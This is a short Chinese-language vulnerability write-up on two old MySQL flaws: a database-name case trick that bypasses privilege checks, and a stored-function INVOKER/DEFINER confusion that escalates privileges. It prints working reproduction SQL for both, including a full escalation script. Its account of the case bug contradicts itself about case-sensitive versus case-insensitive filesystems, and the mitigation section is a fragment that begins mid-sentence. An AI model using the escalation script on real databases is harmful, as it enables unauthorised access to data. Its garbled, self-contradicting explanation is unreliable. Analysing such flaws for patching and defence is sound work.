影響版本:MySQL ≤ 5.1.10(Bugtraq ID: 19559)。包含兩個獨立漏洞:大小寫不敏感文件系統下創建同名異大小寫數據庫繞過權限檢查,以及存儲過程 SQL SECURITY INVOKER 與 DEFINER 權限計算錯誤導致的提權。
條件:文件系統區分大小寫(Linux/Unix 默認)。
複現:
mysql> CREATE DATABASE another; -- 拒絕,無權限
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql> CREATE DATABASE sAmple; -- 成功!僅大小寫不同
Query OK, 1 row affected (0.00 sec)
原理:權限檢查使用字符串比較(區分大小寫),而文件系統目錄創建使用大小寫敏感路徑,導致 sample 與 sAmple 視為不同庫,繞過 db 表授權檢查。
條件:攻擊者擁有目標存儲過程的 EXECUTE 權限。
複現腳本節選:
-- 準備環境
CREATE DATABASE mysqltest1; CREATE DATABASE mysqltest2;
CREATE USER malory@localhost;
GRANT ALL ON mysqltest1.* TO malory@localhost;
-- 創建無害但帶 SUID 的函數(DEFINER=root)
CREATE FUNCTION f_suid(i INT) RETURNS INT RETURN 0;
GRANT EXECUTE ON FUNCTION test.f_suid TO malory@localhost;
-- 攻擊者創建惡意函數(INVOKER 權限執行)
CREATE FUNCTION f_evil() RETURNS INT SQL SECURITY INVOKER
BEGIN
SET @a := CURRENT_USER();
SET @b := (SELECT COUNT(*) FROM mysqltest2.t1); -- 無權限訪問
RETURN 0;
END;
-- 關鍵:通過 f_suid 調用 f_evil,權限上下文發生錯誤切換
SELECT test.f_suid(f_evil());
-- 結果:@b 成功獲取 mysqltest2.t1 計數,權限提升生效
原理:f_suid 為 DEFINER(root)權限,調用 f_evil(INVOKER)時,參數求值階段錯誤地在 DEFINER 上下文執行了 f_evil 函數體,導致 INVOKER 代碼以 DEFINER 權限運行。
lower_case_table_names=1 強制小寫,但需評估應用兼容性)。EXECUTE 權限授予,嚴格審計 SQL SECURITY DEFINER 對象。此類漏洞揭示了 MySQL 權限模型在邊界條件下的脆弱性。及時打補丁、配置基線收斂、權限最小化,是應對歷史漏洞的標準動作。